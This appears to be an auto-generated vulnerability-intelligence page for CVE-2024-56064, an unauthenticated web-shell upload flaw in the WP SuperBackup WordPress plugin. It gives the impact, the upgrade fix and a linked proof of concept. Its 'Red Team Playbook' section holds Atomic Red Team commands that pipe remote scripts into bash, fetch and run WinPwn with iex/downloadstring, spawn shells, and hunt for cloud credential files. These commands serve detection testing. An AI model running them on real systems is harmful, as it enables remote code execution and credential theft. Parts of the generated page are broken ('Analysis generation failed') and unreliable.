CVE-2024-56064
Overview
This vulnerability is an unrestricted file upload flaw classified under CWE-434. The root cause lies in the inadequate validation of uploaded file types within the WP SuperBackup plugin's upload functionality. Specifically, the component responsible for handling file uploads fails to restrict dangerous file types, allowing arbitrary files to be uploaded to the web server.
Vulnerability Description
Unrestricted Upload of File with Dangerous Type vulnerability in azzaroco WP SuperBackup indeed-wp-superbackup allows Upload a Web Shell to a Web Server.This issue affects WP SuperBackup: from n/a through <= 2.3.3.
Impact
An unauthenticated attacker can upload malicious web shells to the target server, enabling full remote code execution. This grants the attacker complete control over the web server, including the ability to execute arbitrary commands, manipulate data, and potentially pivot to other internal systems. No user interaction or valid credentials are required, making exploitation straightforward and dangerous. The compromise can lead to data breaches, service disruption, and full system takeover.
Solution
Users should upgrade the WP SuperBackup plugin to a version later than 2.3.3 where this vulnerability is patched. Detailed patch information and instructions are available at the Patchstack advisory: https://patchstack.com/database/Wordpress/Plugin/indeed-wp-superbackup/vulnerability/wordpress-wp-superbackup-plugin-2-3-3-unauthenticated-arbitrary-file-upload-vulnerability?_s_id=cve. Applying this update removes the unrestricted upload capability and enforces proper file type validation.
EPSS vs KEV Prediction — Evolution (30 days)
Overview
Analysis generation failed
Threat Summary
Analysis generation failed
Full Analysis
The vulnerability associated with the unrestricted upload of files with dangerous types in the WP SuperBackup plugin represents a significant security risk for web applications utilizing this software. This flaw allows an attacker to upload malicious files, such as web shells, to the server without proper validation or restrictions. The lack of stringent file type checks means that an attacker can exploit this vulnerability to bypass security measures, gaining unauthorized access to the server's file system. Once a web shell is successfully uploaded, it can be executed to perform a variety of malicious actions, including data exfiltration, further exploitation of the server, or lateral movement within the network.
Attack vectors for this vulnerability are varied and can be executed with minimal technical skill. An attacker can leverage the file upload functionality of the WP SuperBackup plugin to upload a web shell disguised as a legitimate file type, such as an image or document. Once the malicious file is on the server, the attacker can access it through a web browser, allowing them to execute commands on the server remotely. This exploitation can lead to a complete compromise of the web application, enabling the attacker to manipulate data, install additional malware, or use the server as a launchpad for further attacks against other systems within the network.
The real-world impact of this vulnerability can be severe, particularly for businesses that rely on the integrity and availability of their web applications. Successful exploitation can lead to data breaches, loss of sensitive information, and significant reputational damage. Additionally, the financial implications can be substantial, as organizations may face regulatory fines, legal liabilities, and the costs associated with incident response and recovery efforts. The potential for an attacker to leverage the compromised server to target other systems further amplifies the risk, creating a cascading effect that can jeopardize the entire organizational infrastructure.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. First and foremost, it is critical to keep all software, including plugins like WP SuperBackup, up to date to ensure that known vulnerabilities are patched. Regular security audits and vulnerability assessments can help identify potential weaknesses in the system before they are exploited. Additionally, employing a web application firewall (WAF) can provide an additional layer of protection by filtering out malicious traffic and preventing unauthorized file uploads. Organizations should also enforce strict file upload policies, including whitelisting allowed file types and implementing robust validation checks to ensure that uploaded files do not contain executable code.
In conclusion, the unrestricted upload of files with dangerous types in the WP SuperBackup plugin poses a significant threat to web applications, with the potential for devastating consequences if exploited. Organizations must take proactive measures to detect and mitigate this vulnerability, ensuring that their web applications remain secure against evolving threats. By adopting a comprehensive security strategy that includes regular updates, stringent file upload controls, and effective monitoring, businesses can significantly reduce their risk exposure and protect their critical assets from malicious actors.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
RandomRobbieBF/CVE-2024-56064
WP SuperBackup <= 2.3.3 - Unauthenticated Arbitrary File Upload
|
RandomRobbieBF | 1 | 0 | 2025-01-09 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
30%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-56064 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/Wordpress/Plugin/indeed-wp-superbackup/vulnerability/wordpress-wp-superbackup-plugin-2-3-3-unauthenticated-arbitrary-file-upload-vulnerability?_s_id=cve |